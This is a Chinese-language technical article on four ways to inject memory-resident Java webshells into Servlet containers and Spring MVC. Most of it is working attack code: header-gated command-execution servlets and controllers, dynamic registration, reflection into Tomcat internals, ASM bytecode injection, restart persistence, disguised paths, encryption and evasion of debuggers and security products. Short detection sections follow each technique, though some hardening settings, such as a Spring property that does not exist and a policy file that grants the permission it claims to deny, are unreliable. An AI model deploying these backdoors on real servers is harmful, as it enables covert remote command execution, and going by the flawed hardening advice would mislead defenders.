Java内存马——Servlet型的四种注入
字数 2050 2025-08-30 06:50:12
Java内存马——Servlet型注入技术详解
一、ServletContext API注入技术
1. 核心原理与优势
- 攻击链:漏洞入口 → 获取ServletContext → 创建恶意Servlet实例 → 动态注册Servlet → 设置URL映射 → 建立持久化后门
- 技术优势:
- 符合Servlet 3.0+规范标准
- 无需了解容器内部实现细节
- 支持Tomcat/Jetty/WebLogic等主流容器
- 不依赖反射操作内部类
2. 详细注入流程
步骤1:获取ServletContext对象
// 方式1:通过当前请求对象获取(最常用)
ServletContext context = request.getServletContext();
// 方式2:通过Session获取(需先有Session)
HttpSession session = request.getSession();
ServletContext context = session.getServletContext();
// 方式3:通过ServletConfig获取(需在Servlet环境中)
ServletContext context = getServletConfig().getServletContext();
步骤2:创建恶意Servlet类
public class GhostServlet extends HttpServlet {
private static final String TRIGGER_PARAM = "X-Health-Check";
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
// 1. 检查唤醒条件
if (!req.getHeader(TRIGGER_PARAM).equals("passw0rd")) {
return; // 非唤醒请求直接放行
}
// 2. 获取待执行命令
String cmd = req.getParameter("exec");
if (cmd == null) {
resp.getWriter().write("Invalid command");
return;
}
// 3. 多平台命令执行
String[] commands;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
commands = new String[]{"cmd.exe", "/c", cmd};
} else {
commands = new String[]{"/bin/sh", "-c", cmd};
}
// 4. 执行并返回结果
try (InputStream in = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A")) {
resp.getWriter().write(s.hasNext() ? s.next() : "");
} catch (Exception e) {
resp.getWriter().write("Execution failed: " + e.getMessage());
}
}
}
隐蔽性设计技巧:
- 使用非常规Header作为唤醒条件
- 正常请求不返回任何内容
- 使用
HealthCheckServlet等合理类名 - 映射到
/health、/monitor等合理路径
步骤3:动态注册Servlet
// 获取ServletContext
ServletContext context = request.getServletContext();
// 创建恶意Servlet实例
Servlet ghostServlet = new GhostServlet();
// 注册Servlet
ServletRegistration.Dynamic registration = context.addServlet(
"HealthMonitor", // 注册名称(显示在管理界面)
ghostServlet // Servlet实例
);
// 设置映射路径
registration.addMapping("/api/health");
registration.addMapping("/internal/monitor"); // 可设置多个路径
// 设置初始化参数(可选)
registration.setInitParameter("debug", "false");
// 设置加载顺序(建议设置)
registration.setLoadOnStartup(1);
3. 技术难点与解决方案
难点1:类加载问题
解决方案:字节码动态加载技术
// 1. 定义恶意Servlet的字节码
byte[] evilClassBytes = Base64.getDecoder().decode("yv66vgAAADQANAoABwA...");
// 2. 获取当前ClassLoader
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
// 3. 反射调用defineClass方法
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// 4. 动态加载类
Class<?> ghostClass = (Class<?>) defineClassMethod.invoke(
classLoader, "com.app.HealthMonitor", evilClassBytes, 0, evilClassBytes.length);
// 5. 实例化Servlet
Constructor<?> cons = ghostClass.getConstructor();
Servlet ghostServlet = (Servlet) cons.newInstance();
难点2:重启持久化
解决方案:注册ServletContainerInitializer
// 1. 实现初始化器
public class BackdoorInitializer implements ServletContainerInitializer {
@Override
public void onStartup(Set<Class<?>> c, ServletContext ctx) {
// 容器启动时自动注册内存马
ctx.addServlet("HealthMonitor", new GhostServlet())
.addMapping("/api/health");
}
}
// 2. 创建SPI配置文件
// META-INF/services/javax.servlet.ServletContainerInitializer
// 内容: com.exploit.BackdoorInitializer
4. 防御与检测手段
静态检测方法
// 扫描已注册的Servlet
Map<String, ? extends ServletRegistration> registrations = servletContext.getServletRegistrations();
registrations.forEach((name, reg) -> {
// 检测点1:非常规类名
if (name.matches("[a-f0-9]{32}")) {
log.warn("可疑Servlet: " + name);
}
// 检测点2:异常映射路径
if (reg.getMappings().contains("/api/health") && !"HealthController".equals(name)) {
log.warn("可疑映射: " + name);
}
});
动态监控方案(RASP Hook)
// Hook点:ServletContext.addServlet()
public class SecurityHook {
public static void hookAddServlet(ServletContext context, String servletName) {
StackTraceElement[] stack = Thread.currentThread().getStackTrace();
// 检测非初始化阶段注册
if (!isInitializationPhase(stack)) {
alert("可疑Servlet注册: " + servletName);
// 阻断操作
throw new SecurityException("Operation blocked");
}
}
private static boolean isInitializationPhase(StackTraceElement[] stack) {
// 检查调用栈中是否包含容器初始化类
return Arrays.stream(stack)
.anyMatch(e -> e.getClassName().contains("ServletContainerInitializer"));
}
}
内存扫描技巧(使用OQL)
SELECT r.name, r.mappings, r.servletClassName
FROM javax.servlet.ServletRegistration r
WHERE r.servletClassName LIKE "%GhostServlet%"
OR r.mappings.toString().matches(".*/(health|monitor).*")
二、反射调用Tomcat内部API注入
1. 核心原理与技术优势
- 攻击链:漏洞入口 → 解包Request对象 → 获取StandardContext → 创建Wrapper → 添加Servlet映射 → 植入恶意Servlet → 建立持久化后门
- 技术优势:
- 兼容Tomcat 6.x等旧版本
- 绕过基于Servlet API的安全监控
- 直接操作容器内部数据结构
- 可精确控制Wrapper的加载顺序和初始化参数
2. 关键组件解析
| 组件 | 类名 | 作用 |
|---|---|---|
| 请求对象 | org.apache.catalina.connector.RequestFacade | 请求的外包装类 |
| 真实请求 | org.apache.catalina.connector.Request | 包含核心上下文信息 |
| 上下文容器 | org.apache.catalina.core.StandardContext | Web应用的运行时容器 |
| Servlet包装器 | org.apache.catalina.core.StandardWrapper | Servlet的运行时封装 |
| 映射管理器 | org.apache.tomcat.util.descriptor.web.ServletMappings | 管理URL到Servlet的映射 |
3. 注入流程详解
步骤1:解包真实Request对象
// 获取外层RequestFacade
ServletRequest request = ...;
// 反射获取真实Request对象
Field requestField = null;
Class<?> clazz = request.getClass();
// 遍历可能的字段名(不同版本差异)
String[] fieldNames = {"request", "facade"};
for (String fieldName : fieldNames) {
try {
requestField = clazz.getDeclaredField(fieldName);
requestField.setAccessible(true);
break;
} catch (NoSuchFieldException ignored) {}
}
// 获取真实Request实例
Object realRequest = requestField.get(request);
步骤2:获取StandardContext对象
// 方法1:通过Request的context属性
Method getContextMethod = realRequest.getClass().getMethod("getContext");
Object standardContext = getContextMethod.invoke(realRequest);
// 方法2:通过WebappClassLoader(备用方案)
if (standardContext == null) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Field resourcesField = classLoader.getClass().getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(classLoader);
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = contextField.get(resources);
}
步骤3:创建恶意Wrapper
// 创建Wrapper实例
Method createWrapperMethod = standardContext.getClass().getMethod("createWrapper");
Object wrapper = createWrapperMethod.invoke(standardContext);
// 设置Wrapper属性
String[] methods = {
"setName", // 设置唯一标识
"setServletClass",// 设置Servlet类名
"setLoadOnStartup"// 设置启动加载顺序
};
Object[] params = {
"HealthMonitor", // 名称
"com.app.EvilServlet", // 恶意类名
1 // 立即加载
};
Class<?>[] paramTypes = {String.class, String.class, int.class};
for (int i = 0; i < methods.length; i++) {
Method m = wrapper.getClass().getMethod(methods[i], paramTypes[i]);
m.invoke(wrapper, params[i]);
}
// 添加到StandardContext
Method addChildMethod = standardContext.getClass().getMethod("addChild", Container.class);
addChildMethod.invoke(standardContext, wrapper);
步骤4:添加Servlet映射
// 获取ServletMappings
Field servletMappingsField = standardContext.getClass().getDeclaredField("servletMappings");
servletMappingsField.setAccessible(true);
Object servletMappings = servletMappingsField.get(standardContext);
// Tomcat 7/8 vs 9+ 兼容处理
String addMappingMethodName = servletMappings.getClass().getMethod("get", String.class) != null
? "put" : "addMapping";
if ("addMapping".equals(addMappingMethodName)) {
// Tomcat 9+ 使用addMappingDecoded
Method addMapping = standardContext.getClass().getMethod(
"addServletMappingDecoded", String.class, String.class, boolean.class);
addMapping.invoke(standardContext, "/api/health", "HealthMonitor", true);
} else {
// Tomcat 7/8 直接操作Map
Method putMethod = servletMappings.getClass().getMethod("put", String.class, String.class);
putMethod.invoke(servletMappings, "/api/health", "HealthMonitor");
}
4. 高级隐蔽技术
技术1:Wrapper伪装
// 克隆已有Wrapper配置
Object defaultWrapper = standardContext.findChild("default");
Method[] getters = {
getMethod("getLoadOnStartup"),
getMethod("getRunAs"),
getMethod("getServletClassName")
};
// 复制属性到恶意Wrapper
for (Method getter : getters) {
Object value = getter.invoke(defaultWrapper);
String setterName = "set" + getter.getName().substring(3);
Method setter = wrapper.getClass().getMethod(setterName, getter.getReturnType());
setter.invoke(wrapper, value);
}
技术2:映射混淆
// 添加多个映射路径迷惑防御
String[] paths = {
"/static/css/main.css",
"/images/logo.png",
"/api/health"
};
// 随机选择一个真实路径
int activeIndex = new Random().nextInt(paths.length);
for (int i = 0; i < paths.length; i++) {
if (i == activeIndex) {
addMapping(paths[i], "HealthMonitor"); // 真实映射
} else {
// 添加伪映射指向合法Servlet
addMapping(paths[i], "DefaultServlet");
}
}
5. 防御与检测方案
静态检测方法
// 反射检查StandardContext状态
Object standardContext = getStandardContext();
// 1. 检查children中的可疑Wrapper
Method findChildren = standardContext.getClass().getMethod("findChildren");
Object[] wrappers = (Object[]) findChildren.invoke(standardContext);
for (Object wrapper : wrappers) {
Method getName = wrapper.getClass().getMethod("getName");
String name = (String) getName.invoke(wrapper);
if (name.matches("[a-f0-9]{32}")) {
log.warn("可疑Wrapper: " + name);
}
}
// 2. 检查servletMappings中的异常映射
Field mappingsField = standardContext.getClass().getDeclaredField("servletMappings");
mappingsField.setAccessible(true);
Object mappings = mappingsField.get(standardContext);
// 根据不同版本处理映射表
if (mappings instanceof Map) {
Map<?, ?> map = (Map<?, ?>) mappings;
map.forEach((path, name) -> {
if (path.toString().contains("health") || path.toString().contains("monitor")) {
log.warn("可疑映射路径: " + path);
}
});
}
三、Java Agent + Instrumentation修改字节码注入
1. 技术原理
Instrumentation核心机制
public interface Instrumentation {
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 其他关键方法...
}
攻击路径:Java Agent加载 → 注册ClassFileTransformer → 拦截类加载 → 修改字节码 → 植入恶意逻辑 → 重建类定义
2. 完整攻击流程实现
步骤1:Agent入口
public class GhostAgent {
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new ServletInjector(), true);
try {
// 重定义目标类触发transform
Class<?>[] allClasses = inst.getAllLoadedClasses();
for (Class<?> cls : allClasses) {
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
inst.retransformClasses(cls);
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
步骤2:字节码修改(ASM实现)
public class ServletInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (!TARGET_CLASS.equals(className)) {
return null;
}
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new FilterChainAdapter(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
}
static class FilterChainAdapter extends ClassVisitor {
public FilterChainAdapter(ClassVisitor cv) {
super(Opcodes.ASM9, cv);
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if ("internalDoFilter".equals(name) &&
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(desc)) {
return new InjectCodeAdapter(mv);
}
return mv;
}
}
}
步骤3:植入恶意逻辑
static class InjectCodeAdapter extends MethodVisitor {
public InjectCodeAdapter(MethodVisitor mv) {
super(Opcodes.ASM9, mv);
}
@Override
public void visitCode() {
// 在方法开始处注入代码
super.visitCode();
// 创建恶意Servlet实例
mv.visitTypeInsn(NEW, "com/ghost/EvilServlet");
mv.visitInsn(DUP);
mv.visitMethodInsn(INVOKESPECIAL, "com/ghost/EvilServlet", "<init>", "()V", false);
mv.visitVarInsn(ASTORE, 100); // 存储在局部变量表
// 检查唤醒条件
mv.visitVarInsn(ALOAD, 1); // 加载request
mv.visitLdcInsn("X-Trigger");
mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletRequest",
"getHeader", "(Ljava/lang/String;)Ljava/lang/String;", true);
mv.visitLdcInsn("passw0rd");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
Label elseLabel = new Label();
mv.visitJumpInsn(IFEQ, elseLabel);
// 执行恶意逻辑
mv.visitVarInsn(ALOAD, 100); // 加载恶意servlet
mv.visitVarInsn(ALOAD, 1); // request
mv.visitVarInsn(ALOAD, 2); // response
mv.visitMethodInsn(INVOKEVIRTUAL, "com/ghost/EvilServlet", "service",
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", false);
// 直接返回,阻断后续过滤器
mv.visitInsn(RETURN);
mv.visitLabel(elseLabel);
// 原方法逻辑继续执行...
}
}
3. 高级隐蔽技术
技术1:字节码加密与混淆
public class StealthTransformer implements ClassFileTransformer {
private static final byte[] ENCRYPTED_CODE = Base64.getDecoder().decode("Klj89a2...");
@Override
public byte[] transform(...) {
// 动态解密恶意代码
byte[] decrypted = AES.decrypt(ENCRYPTED_CODE, System.getenv("KEY"));
// 碎片化注入
Random rnd = new Random();
int insertPoint = rnd.nextInt(classfileBuffer.length - 1000);
System.arraycopy(decrypted, 0, classfileBuffer, insertPoint, decrypted.length);
return classfileBuffer;
}
}
技术2:环境感知与反调试
// 检测调试器
if (System.getProperty("sun.jdwp.listener") != null) {
return; // 不执行恶意代码
}
// 检测沙箱环境
if (System.getenv("AWS_EXECUTION_ENV") != null ||
System.getProperty("org.gradle.appname") != null) {
return;
}
// 检测安全产品
try {
Class.forName("com.safedog.agent");
return; // 安全狗环境
} catch (ClassNotFoundException ignored) {}
4. 防御与检测方案
字节码完整性校验
public class IntegrityAgent {
private static Map<String, byte[]> originals = new HashMap<>();
public static void premain(String args, Instrumentation inst) {
inst.addTransformer(new ClassFileTransformer() {
public byte[] transform(...) {
byte[] original = getOriginalClass(className);
if (original != null && !Arrays.equals(classfileBuffer, original)) {
alert("字节码被修改: " + className);
}
return null;
}
}, true);
}
private static byte[] getOriginalClass(String name) {
if (!originals.containsKey(name)) {
// 从安全位置加载原始字节码
originals.put(name, loadFromSecureStorage(name));
}
return originals.get(name);
}
}
容器强化配置
安全启动参数:
# 禁用Attach API
-Djdk.attach.allowAttachSelf=false
# 限制Instrumentation
-Dcom.sun.tools.attach.enable=false
# 启用安全管理器
-Djava.security.manager -Djava.security.policy==restrict.policy
安全策略文件(restrict.policy):
// 禁止未签名Agent
grant {
permission java.lang.RuntimePermission "loadLibrary.*";
permission java.lang.RuntimePermission "setFactory";
permission java.lang.RuntimePermission "createClassLoader";
permission java.lang.RuntimePermission "getClassLoader";
// 明确拒绝Instrumentation权限
permission java.lang.RuntimePermission "instrument";
permission java.lang.RuntimePermission "modifyThread";
permission java.lang.RuntimePermission "shutdownHooks";
};
四、Spring MVC中注入"伪Servlet"(Controller)
1. Spring MVC架构核心机制
| 组件 | 类名 | 作用 |
|---|---|---|
| 处理器映射 | RequestMappingHandlerMapping | URL到Controller的映射 |
| 处理器适配器 | RequestMappingHandlerAdapter | 调用Controller方法 |
| 视图解析器 | InternalResourceViewResolver | 视图解析 |
| 应用上下文 | WebApplicationContext | Spring容器核心 |
2. Controller型内存马注入技术
标准注入流程
步骤1:获取应用上下文
// 从ServletContext获取
WebApplicationContext context = (WebApplicationContext) request.getServletContext()
.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
// 通过工具类获取
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());
步骤2:获取HandlerMapping
// 获取所有HandlerMapping
Map<String, HandlerMapping> mappings = context.getBeansOfType(HandlerMapping.class);
// 定位RequestMappingHandlerMapping
RequestMappingHandlerMapping handlerMapping = null;
for (HandlerMapping mapping : mappings.values()) {
if (mapping instanceof RequestMappingHandlerMapping) {
handlerMapping = (RequestMappingHandlerMapping) mapping;
break;
}
}
步骤3:创建恶意Controller
public class GhostController {
@ResponseBody
public String execute(HttpServletRequest request) {
// 唤醒检查
if (!"passw0rd".equals(request.getHeader("X-Auth"))) {
return "OK";
}
// 命令执行
try {
String cmd = request.getParameter("exec");
Process p = Runtime.getRuntime().exec(cmd);
Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}
步骤4:动态注册Controller
// 创建Controller实例
Object controller = new GhostController();
// 获取目标方法
Method method = GhostController.class.getMethod("execute", HttpServletRequest.class);
// 构建映射信息
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/api/health") // 伪装路径
.methods(RequestMethod.GET, RequestMethod.POST)
.produces(MediaType.APPLICATION_JSON_VALUE)
.build();
// 注册映射
handlerMapping.registerMapping(mappingInfo, controller, method);
3. 高级隐蔽技术
映射伪装策略
// 多重路径映射
String[] paths = {
"/actuator/health",
"/swagger-resources",
"/v2/api-docs",
"/static/css/main.css"
};
// 随机选择真实路径
int activeIndex = new Random().nextInt(paths.length);
for (int i = 0; i < paths.length; i++) {
RequestMappingInfo info = RequestMappingInfo.paths(paths[i])
.methods(i == activeIndex ? RequestMethod.POST : RequestMethod.GET)
.build();
handlerMapping.registerMapping(info, controller, method);
}
条件触发机制
public String execute(HttpServletRequest request) {
// 时间锁验证
long current = System.currentTimeMillis() / 60000; // 每分钟变化
String timeKey = request.getHeader("X-Time");
if (!String.valueOf(current).substring(4).equals(timeKey)) {
return "Invalid request";
}
// IP白名单验证
String clientIP = request.getRemoteAddr();
if (!"192.168.1.100".equals(clientIP)) {
return "Forbidden";
}
// 执行命令...
}
4. 防御与检测方案
运行时映射扫描
public void scanSuspiciousMappings() {
Map<RequestMappingInfo, HandlerMethod> handlerMethods = handlerMapping.getHandlerMethods();
handlerMethods.forEach((info, method) -> {
// 检测可疑路径
if (info.getPatternsCondition().getPatterns().stream()
.anyMatch(p -> p.contains("health") || p.contains("monitor"))) {
log.warn("可疑映射路径: {}", info);
}
// 检测匿名Controller
Class<?> controllerClass = method.getBeanType();
if (controllerClass.getName().contains("$Proxy") ||
controllerClass.getClassLoader() instanceof GhostClassLoader) {
log.warn("可疑Controller类: {}", controllerClass.getName());
}
// 检测危险方法
if (method.getMethod().getName().equals("execute") &&
method.getMethod().getParameterTypes()[0] == HttpServletRequest.class) {
log.warn("危险方法签名: {}", method);
}
});
}
安全加固配置
application-security.properties:
# 禁止动态注册Controller
spring.mvc.dynamic-controller-registration=false
# 启用映射审计
spring.mvc.mapping-audit.enabled=true
spring.mvc.mapping-audit.cron=0 0/5 * * * ?
# 限制Controller包路径
spring.mvc.allowed-controller-packages=com.legit.controllers